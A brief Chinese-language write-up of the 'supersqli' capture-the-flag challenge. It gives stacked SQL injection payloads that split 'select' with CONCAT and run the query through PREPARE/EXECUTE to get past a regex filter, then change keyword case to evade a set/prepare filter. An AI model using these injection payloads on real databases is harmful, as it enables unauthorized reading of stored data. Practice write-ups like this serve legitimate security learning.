supersqli

普通注入 出现了正则匹配过滤

主要堆叠注入+预编译

-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#

//字符串拼接，面对正则表达式。

//把'sele','ct * from `1919810931114514`;'联合放入@sql中

//prepare aaa from @sql；从@sql调制东西放入aaa中；//

//EXCUTE aaa;执行aaa;

过滤了set（设置）  和  prepare(调制,准备)   EXECUTE（实行，执行）

考虑大小写过滤

1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#

成功

总结：主要是堆叠注入，以及了解预编译